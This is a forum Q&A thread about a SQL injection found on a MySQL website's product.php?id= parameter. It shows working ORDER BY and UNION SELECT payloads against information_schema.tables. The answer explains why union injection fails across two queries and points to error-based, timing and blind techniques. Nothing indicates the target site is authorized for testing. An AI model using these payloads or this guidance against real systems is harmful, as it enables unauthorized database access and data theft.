2

A very basic sql injection question here, I found a SQLi on a mysql website with product.php?id=200.

I first tired ORDER BY to figure out the column number of that table by product.php?id=200 order by 13

which turns out to be 12 columns, the error shows on order by 13 is

Error: SELECT * FROM `category` WHERE is_active='1' AND id =200 order by 13

Unknown column '13' in 'order clause'

Everything looks good, so I tried to figure out the table names next,

product.php?id=200 union select table_name,2,3,4,5,6,7,8,9,10,11,12 from 
information_schema.tables

and it shows

Error: SELECT * FROM `products` WHERE is_active='1' AND id =200 union select 
table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables

The used SELECT statements have a different number of columns

Regardless how many numbers I put to the select query, it always show the same error, I assume there are some dynamic activities going on in the backend, but I am not sure what, and how should I proceed, any suggestions please? Thank you!

1

You are injecting into two different queries (one selecting from category, one from products), which select from tables which have a different column count. When you fix one column count, the other one will not match anymore.

You can't at the same time give different column counts - and you likely can't skip one of the queries - , so a simple union injection will not work.

As errors are displayed to you, you can use a simple error-based injection. If errors were not displayed, you could still use timing- and possibly content-based blind injection (see here for examples for all three). In each case, you would likely want to inject into the first query (it depends a bit on how errors are handled).

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.